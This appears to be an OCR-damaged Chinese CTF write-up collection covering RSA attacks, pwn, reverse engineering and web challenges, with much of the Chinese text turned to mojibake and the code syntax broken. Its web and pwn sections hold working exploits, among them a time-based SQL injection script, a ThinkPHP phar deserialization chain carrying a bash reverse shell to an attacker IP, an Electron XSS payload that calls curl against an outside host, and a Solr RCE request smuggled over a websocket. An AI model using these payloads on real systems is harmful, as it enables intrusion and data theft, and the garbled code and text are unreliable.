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#!/usr/bin/sage -python

from sage.all import *

from Crypto.Util import number
from Crypto.PublicKey import RSA
from hashlib import sha256

Usernames = ['Alice', 'Bob', 'Carol', 'Dan', 'Erin']
A = sha256( b'Alice’ ).hexdigest()

PKs = []
Ciphers = []
B =[]
for i in range(4):
name = Usernames|i+1]

pk = open(name+'Public.pem’', 'rb').read()
PKs.append( RSA.importKey(pk) )

cipher = open(name+'Cipher.enc', 'rb').read()
Ciphers.append( number.bytes_to_long(cipher) )

data = "{"from": "'+A+"'", "msg": "'+'\x00'*95+'", "to": "'+sha256( name.encode() ).hexdigest()+'"}"'
B.append( number.bytes_to_long(data) )

PR = PolynomialRing(zz, 'x')
PR.gen()

x
1]

for i in range(4):
f = PR( ( 2*%*608*x + B[1] )**PKs[i].e - Ciphers[i] )
ff = f.change_ring( Zmod(PKs[i].n) )

ff.monic()

f = ff.change_ring(zz)

Fs.append(f)

-+
-+
1]

-n
1]

crt( [ Fs[@]**2, Fs[1]**2, x*Fs[2], x*Fs[3] ], [ PKs[i].n for i in range(4) ] )

=
1]

reduce( lambda x, y: x * y, [ PKs[i].n for i in range(4) | )
FF = F.change_ring( Zmod(M) )

m = FF.small roots(X=2**760, beta=7./8)[0]

print 'msg: + number.long_to_bytes(m)

Related

Franklin and Reiter 7E 95 S H T %4 e=3 K K linear protocol failure, Fi#i j5 1 Coppersmith, Patarin &4fi T Low-exponent
RSA with related messages(https:/link.springer.com/chapter/10.1007/3-540-68339-9 1), i+i& 7 B — &AL K% %

i PRNG [¥] State R A%, FF4H T HIIRIRAS T State BIAN, & AT LIAE&E F R R4, i+ 5 Gtoebner Basis fi# H¥144
RAEKAE flag.



#!/usr/bin/sage -python
from Crypto.Util import number
from sage.all import *

N = 160849237602641690994843533179529793483618558609352561574020279833494570217676143321731540442069670152521051
0911528992068565739451787917710341434848747737802525958976099627090932537173143387628989787430373342411511777604
2592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934
7576727193795013185251894717262793972367104014973524776837141390397691050434116544934426962894999675212229519458
2323337184511080746994460234529306834657463027353987011615881755652356519909387458709723031416636522029073093738
0983228599414137341498205967870181640370981402627360812251649

Cs = [1060723540009858669999439258484180659200066081619131500894791777360547636588457205654462146680763623741589
3192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564
1183024884018881975176253339237101727389137714846285573101649743844628560470654869130466471333862469764579612651
1534910303994680238689731517663327429541037198642203910674521623040112354286371430111475323988882044211253828519
4875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438
592376518310171297234081555028727538951934761726878443311071990L, 2665348075952836665455323350891842781938471372
9438961779480469011276482177806575329630632287802302033253789310532936174347545854794525566200213606697643709716
6561974347346361339168940272505368216925685087375270625237974775255201534137970258204049760718017285465231164946
7878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564
1282795273809693853308457599986575407773391135190365524548293236662422696072251568460847059571311277203518684833
7513877302560225378359500717771267309240915767472097465378903970243179516865438703808025683832125534284878270578
5524911705L, 488122571389541415183068525928874098142466240024889708636516664385340994781865450969229925096093851
1400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250
5611920594487305455004429815347684310238589848172883591936631444177538471968685654769190412820104842596305833949
6358042435874375433495683359835142451522988314808149247187423255545636208902397692976653037132087665194085529724
9474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941
727751433687189532019000334342211838299512315478903418642056097679717L, 1253442597345806128057301337805483624888
8335198966169076118474130362704619767247747943108676623695140384169222126709673116428645230760767457471129655666
3502506683228995680732465415088464386342872490680369016655478936552807671968568443756281773813513113878888432223
0744822799071467801057930486754765848958175210322557397925701113923697213082573030671328710797477330607663002433
8081124142200612113688850435053038506912906079973403207309246156198371852177700671999937121772761984895354214794
8164821095854093211573035128059236764164673155736737017384505692476799121977302450135397244937801849525848138917
39837153776754362L

s = 280513550110197745829890567436265496990

17
1 = len(Cs
PR = PolynomialRing( Zmod(N 'x', 1

X = PR.gens

f1 = (65537*x[0] - 66666*x[1] + 12345*x[2] - x[3
f2 = x[0] + x[1] + x[2] - s

Fs = [f1, f2

Fs.extend x[i]**e - Cs[i]) for i in range(l
I = Ideal(Fs

I.groebner_basis

for b in B[:-1 -1

assert b.degree() == 1

mi = ZZ( -b(0,0,0,0

m += number.long_to_bytes(mi
print m

Boom



from pwn import *

from Crypto.Util.number import *
import string

from hashlib import sha256

#context.log_Level = 'debug'

def proof():

r.recvuntil('sha256 (XXXX+")

msg = r.recv(16)

r.recvuntil(') == ")

hsh = r.recv(64)

found = iters.mbruteforce(lambda x:sha256(x+msg).hexdigest()==hsh, string.ascii_letters+string.digits, lengt
h = 4, method = 'fixed")

r.sendlineafter('Give me XXXX:', found)

def send(msg, mode):
if mode not in ['enc', 'dec', 'cmd']:
return
s ="/" + mode + "'
for i in msg:
s += long_to_bytes(i, 8).encode('hex")
r.sendline(s)

def recv():

data = r.recvline().strip().decode('hex")

if len(data) % 8 != 0:
return

d=1[]

for i in range(len(data) // 8):
m = data[8*1:8*(i+1)]
d.append(bytes_to_long(m))

return d

r = remote('127.0.0.1"', 10000)
proof()
r.recvuntil('boom!!!\n\n")

send([0@, 0], 'enc")
EEQ = recv()[1]

def enc(m):
send([©, ©, m ~ EEQ], 'enc')
c = recv()[2]

return c
EO = enc(9)
def dec(c):

send([9, c], 'dec")
m = recv()[1] ~ EO
return m

1s = bytes_to_long('ls")
E_1ls = enc(1ls)
send([E_1s], "cmd")
print r.recv()

po = bytes_to_long('cat flag')
d = 9x0200000282808082



pl =po ~ d

cl = enc(pl)
c3=c1"d
p3 = dec(c3)
p2 = p3 ~ d
c2 = enc(p2)
O =c2"d

send([cO], 'cmd")
print r.recv()

r.close()
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1. fTHFRER, RIERS02MMIMIEEE, ZikMaircrack-ng/ R HS, 153]%5512345678.

2. BRI J5Hairdecap-ngfiZ BB BB I RIBERE.

3. RV E B F LA F R fflag.zip 46 6.
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S B MO 75, MM AreadWave2Seq.py, /G 7T AR EIEA I D KRR FFS T . ZOEBBRNT:

sample_rate, sig = wavfile.read(filename)
seq = ""
for i in range(@, len(sig), sample_rate):
if sig[i] > 1000:
seq += "1"
else:
seq += "@"
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turtle.forward(20)
turtle.backward(20)
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turtle.left(90)
turtle.right(90)
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from pwn import *
import sys
debug=1

#context. log_Llevel="debug"'
p=None
def ru(x):

return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def ccc(idx,q):
global p
if debug:
p=process('./pwn")
#gdb.attach(p)
else:
p=remote('172.29.2.106"',9999)
ru('Give me a index:')
sl(str(idx))
ru('Three is good number,I like it very much!")
se( 'RX\xc3")
ru('Leave you name of size:')
sl(str(q))
ru('Tell me:")
se("peanuts")
p.recvuntil("\n")
data = ru("\n")
p.close()
if datal@]=="1":
return True
return False

flag = "'
charset ="{}_ '+ string.ascii_letters + string.digits + string.punctuation
for i in range(38):
for q in charset:
if ccc(i,ord(q)+1):

flag+=q

print(flag)

break
print flag
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from pwn import *

debug = 9
context.log_level="debug"

if debug:
p = process("./toy")
gdb.attach(p)

else:
p = remote('192.168.5.130',8888)

p.sendlineafter(">","def mmap(start length prot flags fd offset) a;")
p.sendlineafter(">","def read(fd buf length) a;")

p.sendlineafter(">","def system(x) a;")

p.sendlineafter(">", "mmap(1048576,4096,3,34,mmap(1048576,4096,3,34,3,0),0);")
p.sendlineafter(">","read(0,1048576,10);")

sleep(1)

p.sendlineafter(">","/bin/sh\0")
p.sendlineafter(">", "system(1048576);")
p.interactive()

Calc

BFAMACHTISTLRI T AZH, BNMERZERMA KRS, by ¢, 21— (ME) ERIHHE, FMHhTar3+
b"3-cr3==42, EKRc>a>b, RNMTERMANBERITENHERK =K, BREFETEN—FT.

(-80538738812075974)*+80435758145817515°+126021232973356313=42

BEBKREMBREIEFER, STL (EERvector) MEM, fEwindows P& THLLE HEHE, ©F JLANHERIERERT
#, Sleep(0x75BCD15u);iX &Sleep H #nopi.

RETHHZHRAT:
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80435758145817515
12602123297335631
80538738812075974

KRB R:



80435758145817515

12602123297335631

80538738812075974

You win!

flag{MD5("804357581458175151260212329733563180538738812075974") . tolower ()}

& iHEmd5, 153 2lflag{951e27be2b2f10b7fa22a6dc8f4682bd}
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#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main() {

char encl[36] = {
0x49,0x6f,0x64,0x6C,0x3e,0x51,0x6e,0x62,
0x28,0x6f,0x63,0x79,0x7f,0x79,0x2e,0x69,
ox7f,0x64,0x60,0x33,0x77,0x7d,0x77,0X65,
0x6b,0x39,0x7b,0x69,0x79,0x3d,0x7e,0x79,
Ox4c,0x40,0x45,0x43

s

for (int i = 0; i < 36; i++) {
printf("%c", encl[i] ~ i);

}

printf("\n");

unsigned char final_enc[25] = {
0x40,0x35,0x20,0x56,0x5d,0x18,
0x22,0x45,0x17,0x2f,0x24,0x6e€,
0x62,0x3c,0x27,0x54,0x48,0x6¢C,
0x24,0x6e,0x72,0x3c,0x32,0x45,0x5b
s
unsigned char buf[4] = {
'f' ~ final_enc[9],
'1" ~ final_enc[1],
'a' ~ final_enc[2],
'g" ~ final_enc[3],
s
for (int 1 = @0; 1 < 25; i++) {
printf("%c", buf[i % 4] »~ final_enc[i]);

)
printf("\n");
)
Snake
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Snake\Snake Data\Plugins\interface.dll

4. THEBRERXANWENEM T H4, EREESHENEE, HELFERFI1 R, B

[D11Import("Interface", CallingConvention = CallingConvention.Cdecl) ]
public static extern int GameObject(int x, int y);

WA T, fESnakeHeadIMove IR E, B —4)

Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.positio
n.y));



XN BR UK e S 7R Unity B 4858 AL AR (X y) B NC++Ab B, B2 N RFEATH IDA ST 1T Interface.dIiff 2IdIE 4, NiEHT, TAHHE
TRRE R (JRRE LIRTS\SnakeCpp)
5. GameObject& ¥ i1 T

XD_DLL_EXPORT_FN int GameObject(int eee, int ddd)
{
if (eee < 9)
{
BigInt fake_ flag("35297982045181952350813323813224883208572049226586980") ;
string sfake_flag = temp == "null" ? temp = FromInt(fake_flag) : temp;
cout << "If SKT win S9 champion" << "this is real flag" << endl;
cout << sfake_flag << endl;

return -1;
¥
else if (eee > 1 && eee < 100)
{

BigInt N("1399072626417208846352501054493274635311312275165004973073110020948852453223868050494068786439
8221632649352770241468943993009079475334584417852835617853909482524738983614292847460710826226708785021132264080
6135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563") ;

BigInt s("7998185649085699985067170036073312083199999558942120746049018587653186051852759776790516809918
2891345123878966403548022646956365158864209467614850251731806682037300712511185681164865174187586907707195428804
234739667769742078793162639867922056194688917569369338005327309973680573581158754297630654105882382426" ) ;

BigInt e(to_string(eee));

BigInt c = mod fast(s, e, N);

string str = FromInt(c);

if (StartWith(str, "flag"))

{
cout << "You win! flag is " << endl;
cout << str << endl;
}
else
{
cout << "Try again" << endl;
}
return 7;
}
else if (eee > 100 && eee < 200)
{

BigInteger N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878
6439822163264935277024146894399300907947533458441785283561785390948252473898361429284746071082622670878502113226
40806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563") ;

BigInteger s("122107611316850260321590575768393047216806481837919054910332579385088745494833866045797079
9369470583357434376090606183640373617496001190051663593038736594015221002493126966612097873163697388061338521778
61917757996075304470648951037632182891401322685617735478597953000103146149534977902885706852338811895661809" ) ;

BigInteger e(to_string(eee));

BigInteger ¢ = s.modPow(e, N);

if (c.equals(BigInteger("7777777")))

{
cout << "EDG fight for S10" << endl;
cout << "You fight for the next snake" << endl;
}
else
{
cout << "EDG failed to fight for their S9" << endl;
cout << "But you can fight for next snake" << endl;
}

}

return 996;
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// A EN % 8bit P54, FcharHkF1F%

inline string FromInt(BigInt n)

{
string str;
if (n.flag == false)
{
str = "0";
¥
else
{
while (n.values != "90")
{
BigInt m = n % BigInt("255");
n =n / BigInt("255");
str = (char)atoi(m.values.data()) + str;
¥
¥
return str;
¥

Fromintef $ob K¥n#E Kstring, BNA: % KEni)4E8bitss Nchar, SRGEHEAstr, sttt RInHIEAL, strifBALXT Mnf &
A

fRRR: WRAE EEAH, REXH <eee <10001E M AT EWHRIT T -

exp:



N =1399072626417208846352501054493274635311312275165004973073110020948852453223868050494068786439822163264935277
0241468943993009079475334584417852835617853909482524738983614292847460710826226708785021132264080613569807620798
6818086837911361480181444157057782599277473843153161174504240064610043962720953514451563

$=79981856490856999850671700360733120831999995589421207460490185876531860518527597767905168099182891345123878966
4035480226469563651588642094676148502517318066820373007125111856811648651741875869077071954288042347396677697420
78793162639867922056194688917569369338005327309973680573581158754297630654105882382426

str =

def FromInt(num):
str = ""

while num != 0©:
n = (int)(num % 255)
c = chr(n)
num = (int)(num // 255)
str = ¢ + str

return str

for e in range(1, 100):
num = pow(s, e, N)
flag = FromInt(num)
if flag.startswith("flag") == True:
print(flag)

XX

1. WAIOKER TR S, xdeall®, HHRMAK TR EKRTNANFRF, RN ZRITUADSFRE D TR Esetd, RS
RIE TS, BEFEN—NCBARREERTIR TS RS, ERMBAME.

2. fB: Se¥toCheck IAMMEERISR) WEIFEATHSR, BT TRER, RAEWsetH Bl K47 Rkey, try: i#
., WRMEE S SCHET YA PR ==key(WU 77F), B2 T flag.

#include "stdint.h"

#include "string.h"

#include "stdio.h"

#define DELTA ©x9e3779b9

#define MX (((z>>57y<<2) + (y>>37z<<4)) ™ ((sum™y) + (key[(p&3)~e] ~ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) { /* Coding Part */
rounds = 6 + 52 / n;
sum = 90;
z =v[n - 1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p =9; p<n - 1; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[e];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) { /* Decoding Part */

n=-n:



rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[e];
do {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) {
z =v[p-1];
y = v[p] -= MX;
)
z =v[n - 1];
y = v[@] -= MX;
sum -= DELTA;
} while (--rounds);

b

unsigned char res[24] = { Oxce,0xbc,0x40,0x6b,0x7c,0x3a,0x95,0xcO,0xef,0x9b,0x20,0x20,0x91,0xf7,0x02,0x35,0x23,0
x18,0x02,0xc8,0xe7,0x56,0x56,0xfa };

unsigned char set[37] = "qwertyuiopasdfghjklzxcvbnm1234567890";

int main() {
unsigned char tmp[25] = { @ };
unsigned char cipher[25] = { @ };
unsigned char key[17] = { © };

for (int i = 23; 1 > @; i--) {
for (int j =0; j < i/ 3; ++J) {
res(i] *= res[j];

}
}
for (int k = 0; k < 6; ++k) {
tmp[4 * k + 2] = res[4 * k + 0];
tmp[4 * k + @] = res[4 * k + 1];
tmp[4 * k + 3] = res[4 * k + 2];
tmp[4 * k + 1] = res[4 * k + 3];
}
for (int i@ = 0; i@ < 36; ++i@) {
printf("%d\n", set[i@]);
for (int i1l = @; il < 36; ++il1) {
for (int i2 = @; i2 < 36; ++i2) {
for (int i3 = @; i3 < 36; ++i3) {
key[0] = set[i@]; key[1] = set[il]; key[2] = set[i2]; key[3] = set[i3];
memcpy (cipher, tmp, 24);
btea((unsigned int*)cipher, -6, (unsigned int*)key);
if (cipher[0] == set[i@] && cipher[1] == set[il] && cipher[2] == set[i2] && cipher[3] == set
[i3]) {
printf("%s", cipher);
printf("%s", key);
b
b
b
b
b
b
easyweb

TrESqEN, HENA:

/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaagk20from%20flag),{},1))={},sleep(6),1)%23



ENA

import requests
import sys
import string
flag = "'
url = sys.argv[1]
url url.rstrip('/")
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23"
for i in xrange(1,50):
for j in xrange(45,127):

try:

a = requests.get(url.format(i,j),timeout=3)
except:

flag+=chr(j)

print flag

Ticket—System

1. BEEEFR—NHF, EHES Ticket LAERM T KIH xxe i

2. WRIEE IR R R

<!-- hint in /hints.txt -->
<!-- Not the web root directory. In the ystem root directory-->

23X E hints.txt

You'r clever. But not enough. Try RCE!
R 404 DH AR A thinkphp R4

3.32#& Thinkphp pop %, WA phar &/754t.
exp:
<?php

namespace think\process\pipes {
class Windows

{
private $files;
public function __ construct($files)
{
$this->files = array($files);
}
}

namespace think\model\concern {
trait Conversion

{
protected $append = array("Zedd" => "1");

trait Attribute



private $data;
private $withAttr = array("Zedd" => "system");

public function get($system)

{
$this->data = array("zZedd" => "$system");

)
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;

namespace think\model{
use think\Model;
class Pivot extends Model

{
public function __construct($system)
{
$this->get($system);
}
}

namespace {
$Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/—A~IP/2015 ©>&1'");
$payload = new think\process\pipes\Windows($Conver);
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); ///E4&& % Fphar
$phar->startBuffering();
$phar->setStub("GIF89a<?php _ HALT_COMPILER(); ?>"); //#H&stub
$phar->setMetadata($payload); //# H&EXHmeta-datafF Amanifest
$phar->addFromString("test.txt", "test"); //BWEELHIXI
//BE Bt E
$phar->stopBuffering();
rename( 'phar.phar', 'phar.xml");

4. bEXHERFHRBEARE, KX payload fillk & 7L

5. B [ i) shell , #1447 /readflag &3 flag.



iCloudMusic

1. BT IRXSS XSSHI HIBIEMI B R js_to_run ALHIBhAPEEEs headerit F url.parse b # url.

2. fuzzFi A unicode ] LA R I \uffe7 v LAskik 85| 5, [Fith R 7R QT KurlBP AT XSS.
http://www.baidu.com’ } **/;eval (String.fromCharCode(111,112,101,110,46,39,104,116,116,112,58,47,47,120,120,120,
120,46,99,111,109, 37,69, 70,37, 66,67, 37,56,55,59,37,48,48,63,59,99,117, 114,108, 36, 73, 70, 83, 36, 57,104,116, 116,112,

58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100, 102,108, 97,103, 41,59, 3
5,47,97,115,100,97,115,100,97,115,1600,37,48,48,37,49,48,39,41))//

3. BEIFET LR mainjsH 3 T new-windowZ {4, R openExternalsk G 4T 6y 43T FFurl, AR i electroni
window.open ERiAJE S J i Ak abn ok Ab B, PR X B AT M R FEL g

1. R EETS 4 fabn i M getter.

var f=document.createElement('a');

f.__proto__.__defineGetter__ ('href',function(){return "http://xxxx.com’ %3B%00/?;$(open$IFS$9-a$IFS$9Calculator)
;#/asdasdasd%00%10"}) ;

window.open('http://www.baidu.com");

2. A—AERERFI.

open("http://xxxx.combEF%BC%87;%00? ;% (open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10")

Bank—service

1. TN, BERIFEL EIETsocketiod LsocketZ 5 EM L H .
RERRNE & Asolrdg 8 R R4, B RwebsocketH Ml 7] 58 & websocket-smuggle
Vi il /solrig 7403, F & Fwebsocket-smuggleifi i7 & Bl AT IE % 5 il »

ZRMESPATIT, TS T, REEWERE, 5% nttps://paper.seebug.org/1009/, 7] PAZAFF H
ContentStreamDataSource #i& [l ., seebugipapert &7 4 HipocHl it 5 B 2 2% solr U R4 i i 5] & .
exp:

A w0 b

import socket

reql = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80

Sec-WebSocket-Version: 1337

Upgrade: websocket

"''.replace('\n', '\r\n')

req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%2@name%3D%22streamsrc¥%22%20type
%3D%22ContentStreamDataSource%22%20loggerlLevel%3D%22TRACE%22%20/%3E%OA%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%
20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20]j%3Dnew%20java.io. BufferedReader’%
28new%20@java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream’
28%29%29%29%3B%0OA%20%20%20%20%20%20%20%20var%201ine%3Dj . readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D
%22%22%3B%0OA%20%20%20%20%20%20%20%20while%281ine%21%3Dnull%20%26%26%201ine%21%3Dundefined%29%7B%0A%20%20%20%20%2
0%20%20%20%20%20%20%20res%3Dres%2B1ine%3B%0A%20%20%20%20%20%20%20%20%20%20%20%201ine%3Dj . readLine’%28%29%3B%0A%20
%20%20%20%20%20%20%20%7D%0A%09%09row . put%28%22title_s%22%2Cres%29%3B%OA%09%09return%20row’%3B%0A%09%7D%0A%20%20%5
D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%2



0%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrcl%22%0A%20%20%20
%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true’%22%0A%20%20
%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0
A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template’%3D%22some%20static%20payload%22/
%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E
%0OA%20%20%20%20%3C/entity%3E%OA%3C/document%3E%OA%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 135

Connection: close

Referer: http://localhost:8983/solr/

Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV50cZuPKbOhI6CMpgp5vIMVr5wQAL4stMtxIqL2SUESINL; sessionid=snzojzqa5zn187oghf
06z6xodulpohpr

<?xml version="1.0" encoding="utf-8"?>
<books>

<book>

<name>NAME1</name>

</book>

<book>

<name>NAME2</name>

</book>

</books>

.replace('\n', "\r\n')

def main(netloc):
host, port = netloc.split(':")

sock = socket.socket(socket.AF_INET, socket.SOCK STREAM)
sock.connect((host, int(port)))

sock.sendall(reql)
data=sock.recv(4096)

print data

print '[+]connection finished'
print req2

sock.sendall(req2)

data = sock.recv(409600)

data = data.decode(errors="ignore")

print data

#sock.shutdown(socket.SHUT_RDWR)
sock.close()

__main__":
main('127.0.0.1:3000")

if _ _name__ ==
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